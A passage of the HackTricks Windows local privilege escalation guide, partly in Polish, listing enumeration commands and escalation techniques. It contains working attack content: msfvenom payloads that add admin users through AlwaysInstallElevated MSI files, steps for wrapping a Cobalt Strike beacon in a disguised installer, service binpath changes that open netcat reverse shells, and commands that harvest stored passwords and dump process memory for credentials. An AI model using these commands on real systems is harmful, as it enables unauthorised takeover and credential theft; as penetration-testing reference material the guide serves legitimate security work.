hacktricks/src/windows-hardening/windows-local-privilege-escalation
..

Windows Local Privilege Escalation

{{#include ../../banners/hacktricks-training.md}}

Best tool to look for Windows local privilege escalation vectors: WinPEAS

Initial Windows Theory

Access Tokens

Jeśli nie wiesz, czym są Windows Access Tokens, przeczytaj następującą stronę przed kontynuowaniem:

{{#ref}} access-tokens.md {{#endref}}

ACLs - DACLs/SACLs/ACEs

Sprawdź następującą stronę, aby uzyskać więcej informacji o ACLs - DACLs/SACLs/ACEs:

{{#ref}} acls-dacls-sacls-aces.md {{#endref}}

Integrity Levels

Jeśli nie wiesz, czym są integrity levels w Windows, powinieneś przeczytać następującą stronę przed kontynuowaniem:

{{#ref}} integrity-levels.md {{#endref}}

Windows Security Controls

W Windows istnieją różne rzeczy, które mogą prevent you from enumerating the system, uniemożliwiać uruchamianie plików wykonywalnych lub nawet detect your activities. Powinieneś read następującą page i enumerate wszystkie te defenses mechanisms przed rozpoczęciem privilege escalation enumeration:

{{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}}

System Info

Version info enumeration

Sprawdź, czy wersja Windows ma jakąś znaną podatność (sprawdź też zainstalowane łaty).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Eksploity wersji

Ta strona jest przydatna do wyszukiwania szczegółowych informacji o lukach bezpieczeństwa Microsoft. Ta baza danych zawiera ponad 4,700 luk bezpieczeństwa, co pokazuje ogromną powierzchnię ataku, jaką prezentuje środowisko Windows.

Na systemie

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas has watson embedded)

Lokalnie z informacjami systemowymi

Repozytoria Github z exploitami:

Środowisko

Czy jakieś credential/Juicy info są zapisane w zmiennych środowiskowych?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historia PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell pliki transkrypcji

Możesz dowiedzieć się, jak to włączyć, pod adresem https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Szczegóły wykonywania pipeline'ów PowerShell są rejestrowane, obejmując wykonywane polecenia, wywołania poleceń i fragmenty skryptów. Jednak pełne szczegóły wykonania i wyniki wyjścia mogą nie zostać uchwycone.

Aby to włączyć, postępuj zgodnie z instrukcjami w sekcji "Transcript files" dokumentacji, wybierając "Module Logging" zamiast "Powershell Transcription".

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Aby wyświetlić ostatnie 15 zdarzeń z logów PowersShell, możesz wykonać:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Rejestrowany jest kompletny zapis aktywności oraz pełna zawartość wykonania skryptu, co gwarantuje dokumentację każdego bloku kodu w trakcie jego uruchamiania. Proces ten zachowuje kompleksowy ślad audytu każdej czynności, cenny dla forensics i analizy złośliwego zachowania. Dokumentując całą aktywność w chwili wykonania, zapewnia się szczegółowy wgląd w przebieg procesu.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Zdarzenia logów dotyczące Script Block można znaleźć w Windows Event Viewer pod ścieżką: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Aby wyświetlić ostatnie 20 zdarzeń możesz użyć:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Ustawienia Internetu

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Dyski

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Możesz przejąć system, jeśli aktualizacje nie są żądane przy użyciu httpS lecz http.

Zaczynasz od sprawdzenia, czy sieć używa aktualizacji WSUS bez SSL, uruchamiając poniższe w cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Albo następujące w PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Jeśli otrzymasz odpowiedź taką jak jedna z poniższych:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

A jeśli HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer lub Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" ma wartość 1.

Then, it is exploitable. Jeśli ostatni wpis rejestru ma wartość 0, wpis WSUS zostanie zignorowany.

In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.

Read the research here:

{{#file}} CTX_WSUSpect_White_Paper (1).pdf {{#endfile}}

WSUS CVE-2020-1013

Read the complete report here.
W skrócie, to jest wada, którą ten błąd wykorzystuje:

Jeśli mamy możliwość modyfikacji lokalnego proxy użytkownika, a Windows Updates używa proxy skonfigurowanego w ustawieniach Internet Explorera, mamy zatem możliwość uruchomienia PyWSUS lokalnie, aby przechwycić własny ruch i uruchomić kod jako podwyższonego użytkownika na naszym zasobie.

Co więcej, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, użyje również jego magazynu certyfikatów. Jeśli wygenerujemy samopodpisany certyfikat dla nazwy hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy w stanie przechwycić zarówno ruch HTTP, jak i HTTPS WSUS. WSUS nie stosuje mechanizmów podobnych do HSTS w celu wdrożenia walidacji typu trust-on-first-use dla certyfikatu. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę.

You can exploit this vulnerability using the tool WSUSpicious (once it's liberated).

KrbRelayUp

A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.

Znajdź exploit w https://github.com/Dec0ne/KrbRelayUp

Aby uzyskać więcej informacji o przebiegu ataku, zobacz https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Jeśli masz sesję meterpreter, możesz zautomatyzować tę technikę za pomocą modułu exploit/windows/local/always_install_elevated

PowerUP

Użyj polecenia Write-UserAddMSI z power-up, aby w bieżącym katalogu utworzyć binarny Windows MSI do eskalacji uprawnień. Ten skrypt zapisuje prekompilowany instalator MSI, który wyświetla monit o dodanie użytkownika/grupy (więc będziesz potrzebować dostępu GIU):

Write-UserAddMSI

Po prostu uruchom utworzony plik binarny, aby eskalować uprawnienia.

MSI Wrapper

Przeczytaj ten tutorial, aby dowiedzieć się, jak utworzyć MSI wrapper przy użyciu tych narzędzi. Zwróć uwagę, że możesz opakować plik .bat, jeśli tylko chcesz wykonać polecenia

{{#ref}} msi-wrapper.md {{#endref}}

Utwórz MSI za pomocą WIX

{{#ref}} create-msi-with-wix.md {{#endref}}

Utwórz MSI za pomocą Visual Studio

  • Wygeneruj za pomocą Cobalt Strike lub Metasploit nowy Windows EXE TCP payload w C:\privesc\beacon.exe
  • Otwórz Visual Studio, wybierz Create a new project i wpisz "installer" w polu wyszukiwania. Wybierz projekt Setup Wizard i kliknij Next.
  • Nadaj projektowi nazwę, np. AlwaysPrivesc, użyj C:\privesc jako lokalizacji, zaznacz place solution and project in the same directory, i kliknij Create.
  • Klikaj Next aż dojdziesz do kroku 3 z 4 (choose files to include). Kliknij Add i wybierz Beacon payload, który właśnie wygenerowałeś. Następnie kliknij Finish.
  • Zaznacz projekt AlwaysPrivesc w Solution Explorer i w Properties zmień TargetPlatform z x86 na x64.
  • Są inne właściwości, które możesz zmienić, takie jak Author i Manufacturer, co może sprawić, że zainstalowana aplikacja będzie wyglądać bardziej wiarygodnie.
  • Kliknij prawym przyciskiem projekt i wybierz View > Custom Actions.
  • Kliknij prawym przyciskiem Install i wybierz Add Custom Action.
  • Dwukrotnie kliknij Application Folder, wybierz plik beacon.exe i kliknij OK. Spowoduje to, że beacon payload zostanie uruchomiony zaraz po uruchomieniu instalatora.
  • W Custom Action Properties zmień Run64Bit na True.
  • Na koniec zbuduj to.
  • Jeśli pojawi się ostrzeżenie File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', upewnij się, że ustawiłeś platformę na x64.

Instalacja MSI

Aby wykonać instalację złośliwego .msi w tle:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Aby wykorzystać tę podatność możesz użyć: exploit/windows/local/always_install_elevated

Antywirusy i detektory

Ustawienia audytu

Te ustawienia decydują o tym, co jest rejestrowane, więc należy zwrócić uwagę

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, warto wiedzieć, dokąd wysyłane są logi

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS jest zaprojektowany do zarządzania hasłami lokalnego Administratora, zapewniając, że każde hasło jest unikatowe, losowe i regularnie aktualizowane na komputerach dołączonych do domeny. Hasła te są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którym przyznano odpowiednie uprawnienia poprzez ACLs, co pozwala im przeglądać hasła lokalnego administratora, jeśli są upoważnieni.

{{#ref}} ../active-directory-methodology/laps.md {{#endref}}

WDigest

Jeśli jest aktywny, hasła w postaci tekstu jawnego są przechowywane w LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Począwszy od Windows 8.1, Microsoft wprowadził wzmocnioną ochronę Local Security Authority (LSA), aby zablokować próby niezaufanych procesów odczytywania jej pamięci lub wstrzykiwania kodu, co dodatkowo zabezpiecza system.
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard został wprowadzony w Windows 10. Jego celem jest zabezpieczenie poświadczeń przechowywanych na urządzeniu przed zagrożeniami takimi jak pass-the-hash attacks.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials są uwierzytelniane przez Local Security Authority (LSA) i wykorzystywane przez komponenty systemu operacyjnego. Gdy dane logowania użytkownika zostaną uwierzytelnione przez zarejestrowany security package, dla użytkownika zazwyczaj ustalane są domain credentials.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Użytkownicy & Grupy

Wylicz użytkowników & grupy

Należy sprawdzić, czy któraś z grup, do których należysz, ma interesujące uprawnienia.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Grupy uprzywilejowane

Jeśli należysz do jakiejś uprzywilejowanej grupy, możesz być w stanie eskalować uprawnienia. Dowiedz się o grupach uprzywilejowanych i jak je nadużywać, aby eskalować uprawnienia tutaj:

{{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}}

Manipulacja tokenami

Dowiedz się więcej o tym, czym jest token na tej stronie: Windows Tokens.
Sprawdź następującą stronę, aby dowiedzieć się o interesujących tokenach i jak je nadużywać:

{{#ref}} privilege-escalation-abusing-tokens.md {{#endref}}

Zalogowani użytkownicy / Sesje

qwinsta
klist sessions

Katalogi domowe

dir C:\Users
Get-ChildItem C:\Users

Polityka haseł

net accounts

Pobierz zawartość schowka

powershell -command "Get-Clipboard"

Uruchomione procesy

Uprawnienia plików i folderów

Przede wszystkim, wypisując procesy, sprawdź, czy w linii poleceń procesu nie ma haseł.
Sprawdź, czy możesz nadpisać któryś z uruchomionych binariów lub czy masz uprawnienia do zapisu w katalogu z binariami, aby wykorzystać możliwe DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Zawsze sprawdzaj, czy działają electron/cef/chromium debuggers, możesz je wykorzystać do eskalacji uprawnień.

Sprawdzanie uprawnień plików binarnych procesów

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Sprawdzanie uprawnień folderów zawierających pliki binarne procesów (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Możesz utworzyć zrzut pamięci uruchomionego procesu używając procdump z sysinternals. Usługi takie jak FTP mogą mieć credentials w postaci jawnej w pamięci, spróbuj zrzucić pamięć i odczytać te credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Niebezpieczne aplikacje GUI

Aplikacje uruchomione jako SYSTEM mogą pozwolić użytkownikowi na uruchomienie CMD lub przeglądanie katalogów.

Przykład: "Windows Help and Support" (Windows + F1), wyszukaj "command prompt", kliknij "Click to open Command Prompt"

Usługi

Wyświetl listę usług:

net start
wmic service list brief
sc query
Get-Service

Uprawnienia

Możesz użyć sc, aby uzyskać informacje o usłudze

sc qc <service_name>

Zaleca się posiadanie binarki accesschk z Sysinternals, aby sprawdzić wymagany poziom uprawnień dla każdej usługi.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Zaleca się sprawdzić, czy "Authenticated Users" mogą modyfikować jakąkolwiek usługę:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Włącz usługę

Jeśli występuje ten błąd (na przykład dla SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Możesz ją włączyć używając

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Weź pod uwagę, że usługa upnphost zależy od SSDPSRV, aby działać (dla XP SP1)

Innym obejściem tego problemu jest uruchomienie:

sc.exe config usosvc start= auto

Modyfikacja ścieżki binarnej usługi

W scenariuszu, w którym grupa "Authenticated users" posiada na usłudze uprawnienia SERVICE_ALL_ACCESS, możliwa jest modyfikacja pliku wykonywalnego usługi. Aby zmodyfikować i uruchomić sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Uruchom ponownie usługę

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Eskalację uprawnień można osiągnąć poprzez następujące uprawnienia:

  • SERVICE_CHANGE_CONFIG: Pozwala na ponowną konfigurację binarki usługi.
  • WRITE_DAC: Umożliwia rekonfigurację uprawnień, co prowadzi do możliwości zmiany konfiguracji usługi.
  • WRITE_OWNER: Pozwala na przejęcie własności i rekonfigurację uprawnień.
  • GENERIC_WRITE: Dziedziczy możliwość zmiany konfiguracji usługi.
  • GENERIC_ALL: Również dziedziczy możliwość zmiany konfiguracji usługi.

Do wykrywania i wykorzystania tej podatności można użyć exploit/windows/local/service_permissions.

Słabe uprawnienia binarek usług

Sprawdź, czy możesz zmodyfikować binarkę uruchamianą przez usługę lub czy masz uprawnienia do zapisu w folderze, w którym znajduje się binarka (DLL Hijacking).
Możesz uzyskać każdą binarkę uruchamianą przez usługę używając wmic (not in system32) i sprawdzić swoje uprawnienia używając icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Możesz również użyć sc i icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Uprawnienia do modyfikacji rejestru usług

Należy sprawdzić, czy można modyfikować dowolny rejestr usług.
Możesz sprawdzić swoje uprawnienia w odniesieniu do rejestru usług, wykonując:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Należy sprawdzić, czy Authenticated Users lub NT AUTHORITY\INTERACTIVE posiadają uprawnienia FullControl. Jeśli tak, plik wykonywalny uruchamiany przez usługę może zostać zmieniony.

Aby zmienić Path pliku wykonywalnego:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Uprawnienia AppendData/AddSubdirectory w rejestrze usług

Jeśli masz to uprawnienie do danego rejestru oznacza to, że możesz tworzyć podrejestry z tego rejestru. W przypadku usług Windows jest to wystarczające do uruchomienia dowolnego kodu:

{{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}}

Ścieżki usług bez cudzysłowów

Jeśli ścieżka do pliku wykonywalnego nie jest ujęta w cudzysłowy, Windows spróbuje uruchomić każdy fragment kończący się przed spacją.

For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Wypisz wszystkie nieotoczone cudzysłowami ścieżki usług, z wyłączeniem tych należących do wbudowanych usług Windows:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Możesz wykryć i wykorzystać tę podatność za pomocą metasploit: exploit/windows/local/trusted\_service\_path Możesz ręcznie utworzyć plik binarny usługi za pomocą metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Akcje odzyskiwania

Windows pozwala użytkownikom określić akcje, które mają zostać wykonane w przypadku awarii usługi. Funkcję tę można skonfigurować tak, aby wskazywała na plik wykonywalny. Jeśli ten plik wykonywalny można zastąpić, możliwe może być privilege escalation. Więcej szczegółów można znaleźć w oficjalnej dokumentacji.

Aplikacje

Zainstalowane aplikacje

Sprawdź uprawnienia plików wykonywalnych (może uda ci się nadpisać któryś i escalate privileges) oraz folderów (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Uprawnienia do zapisu

Sprawdź, czy możesz zmodyfikować plik konfiguracyjny, aby odczytać specjalny plik, lub czy możesz zmodyfikować binarny plik wykonywalny, który zostanie uruchomiony przez konto Administratora (schedtasks).

Jednym ze sposobów znalezienia słabych uprawnień folderów/plików w systemie jest wykonanie:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Uruchamianie przy starcie

Sprawdź, czy możesz nadpisać jakiś wpis w rejestrze lub binarkę, która zostanie uruchomiona przez innego użytkownika.
Przeczytaj następującą stronę aby dowiedzieć się więcej o interesujących lokalizacjach autoruns umożliwiających eskalację uprawnień:

{{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}}

Sterowniki

Szukaj możliwych nietypowych/podatnych sterowników firm trzecich

driverquery
driverquery.exe /fo table
driverquery /SI

Jeśli driver udostępnia arbitrary kernel read/write primitive (częste w słabo zaprojektowanych IOCTL handlers), możesz escalate, kradnąc SYSTEM token bezpośrednio z kernel memory. Zobacz technikę krok po kroku tutaj:

{{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}}

PATH DLL Hijacking

Jeśli masz write permissions inside a folder present on PATH możesz być w stanie przejąć DLL ładowaną przez proces i escalate privileges.

Sprawdź uprawnienia wszystkich folderów znajdujących się w PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Aby uzyskać więcej informacji o tym, jak wykorzystać to sprawdzenie:

{{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}}

Sieć

Udostępnienia

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Sprawdź, czy w hosts file nie ma na stałe wpisanych innych znanych komputerów

type C:\Windows\System32\drivers\etc\hosts

Interfejsy sieciowe i DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Otwarte porty

Sprawdź, czy z zewnątrz dostępne są usługi z ograniczonym dostępem

netstat -ano #Opened ports?

Tablica routingu

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tablica ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Rules

Check this page for Firewall related commands (lista reguł, tworzenie reguł, wyłączanie, wyłączanie...)

Więcej commands for network enumeration here

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Plik binarny bash.exe można też znaleźć w C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Jeśli uzyskasz uprawnienia roota, możesz nasłuchiwać na dowolnym porcie (przy pierwszym użyciu nc.exe do nasłuchiwania na porcie pojawi się w GUI pytanie, czy nc powinno zostać dozwolone przez zaporę).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Aby łatwo uruchomić bash jako root, możesz spróbować --default-user root

Możesz przeglądać system plików WSL w folderze C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows Credentials

Winlogon Credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Menedżer poświadczeń / Windows Vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault przechowuje poświadczenia użytkowników dla serwerów, stron internetowych i innych programów, które Windows może automatycznie logować użytkowników. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać tam poświadczenia do Facebook, Twitter, Gmail itp., aby przeglądarki logowały się automatycznie. Jednak tak nie jest.

